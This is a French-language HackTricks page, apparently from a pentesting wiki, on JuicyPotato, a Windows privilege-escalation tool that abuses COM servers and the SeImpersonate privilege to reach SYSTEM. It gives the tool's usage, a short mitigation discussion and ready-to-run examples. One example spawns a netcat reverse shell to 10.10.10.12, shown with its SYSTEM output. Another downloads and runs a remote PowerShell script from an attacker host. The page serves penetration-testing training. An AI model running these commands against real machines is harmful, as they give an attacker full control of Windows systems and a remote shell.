JuicyPotato
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
[!WARNING] > JuicyPotato ne fonctionne pas sur Windows Server 2019 et Windows 10 build 1809 et versions ultérieures. Cependant, PrintSpoofer, RoguePotato, SharpEfsPotato peuvent être utilisés pour exploiter les mêmes privilèges et obtenir un accès de niveau
NT AUTHORITY\SYSTEM
. Vérifiez :
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Juicy Potato (abus des privilèges dorés)
Une version sucrée de RottenPotatoNG, avec un peu de jus, c'est-à-dire un autre outil d'escalade de privilèges locaux, d'un compte de service Windows à NT AUTHORITY\SYSTEM
Vous pouvez télécharger juicypotato depuis https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Résumé
Depuis le Readme de juicy-potato:
RottenPotatoNG et ses variantes exploitent la chaîne d'escalade de privilèges basée sur BITS
service ayant l'écouteur MiTM sur 127.0.0.1:6666
et lorsque vous avez les privilèges SeImpersonate
ou SeAssignPrimaryToken
. Lors d'un examen de build Windows, nous avons trouvé une configuration où BITS
était intentionnellement désactivé et le port 6666
était pris.
Nous avons décidé d'armement RottenPotatoNG : Dites bonjour à Juicy Potato.
Pour la théorie, voir Rotten Potato - Escalade de privilèges des comptes de service à SYSTEM et suivez la chaîne de liens et de références.
Nous avons découvert qu'en plus de BITS
, il existe plusieurs serveurs COM que nous pouvons exploiter. Ils doivent simplement :
- être instanciables par l'utilisateur actuel, normalement un "utilisateur de service" qui a des privilèges d'imitation
- implémenter l'interface
IMarshal
- s'exécuter en tant qu'utilisateur élevé (SYSTEM, Administrateur, …)
Après quelques tests, nous avons obtenu et testé une liste étendue de CLSID intéressants sur plusieurs versions de Windows.
Détails juteux
JuicyPotato vous permet de :
- CLSID cible choisissez n'importe quel CLSID que vous voulez. Ici vous pouvez trouver la liste organisée par OS.
- Port d'écoute COM définissez le port d'écoute COM que vous préférez (au lieu du 6666 codé en dur)
- Adresse IP d'écoute COM lier le serveur à n'importe quelle IP
- Mode de création de processus selon les privilèges de l'utilisateur imité, vous pouvez choisir parmi :
CreateProcessWithToken
(nécessiteSeImpersonate
)CreateProcessAsUser
(nécessiteSeAssignPrimaryToken
)les deux
- Processus à lancer lancer un exécutable ou un script si l'exploitation réussit
- Argument de processus personnalisez les arguments du processus lancé
- Adresse du serveur RPC pour une approche furtive, vous pouvez vous authentifier à un serveur RPC externe
- Port du serveur RPC utile si vous souhaitez vous authentifier à un serveur externe et que le pare-feu bloque le port
135
… - MODE TEST principalement à des fins de test, c'est-à-dire tester les CLSID. Il crée le DCOM et imprime l'utilisateur du jeton. Voir ici pour les tests
Utilisation
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Pensées finales
Si l'utilisateur a les privilèges SeImpersonate
ou SeAssignPrimaryToken
, alors vous êtes SYSTEM.
Il est presque impossible d'empêcher l'abus de tous ces serveurs COM. Vous pourriez penser à modifier les permissions de ces objets via DCOMCNFG
, mais bonne chance, cela va être difficile.
La solution réelle est de protéger les comptes et applications sensibles qui fonctionnent sous les comptes * SERVICE
. Arrêter DCOM
inhiberait certainement cette exploitation, mais pourrait avoir un impact sérieux sur le système d'exploitation sous-jacent.
De: http://ohpe.it/juicy-potato/
Exemples
Remarque : Visitez cette page pour une liste de CLSIDs à essayer.
Obtenir un shell inversé nc.exe
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Lancer un nouveau CMD (si vous avez accès RDP)
Problèmes de CLSID
Souvent, le CLSID par défaut que JuicyPotato utilise ne fonctionne pas et l'exploit échoue. En général, il faut plusieurs tentatives pour trouver un CLSID fonctionnel. Pour obtenir une liste de CLSIDs à essayer pour un système d'exploitation spécifique, vous devriez visiter cette page :
Vérification des CLSIDs
Tout d'abord, vous aurez besoin de quelques exécutables en plus de juicypotato.exe.
Téléchargez Join-Object.ps1 et chargez-le dans votre session PS, puis téléchargez et exécutez GetCLSID.ps1. Ce script créera une liste de CLSIDs possibles à tester.
Ensuite, téléchargez test_clsid.bat (changez le chemin vers la liste des CLSID et vers l'exécutable juicypotato) et exécutez-le. Il commencera à essayer chaque CLSID, et lorsque le numéro de port change, cela signifiera que le CLSID a fonctionné.
Vérifiez les CLSIDs fonctionnels en utilisant le paramètre -c
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.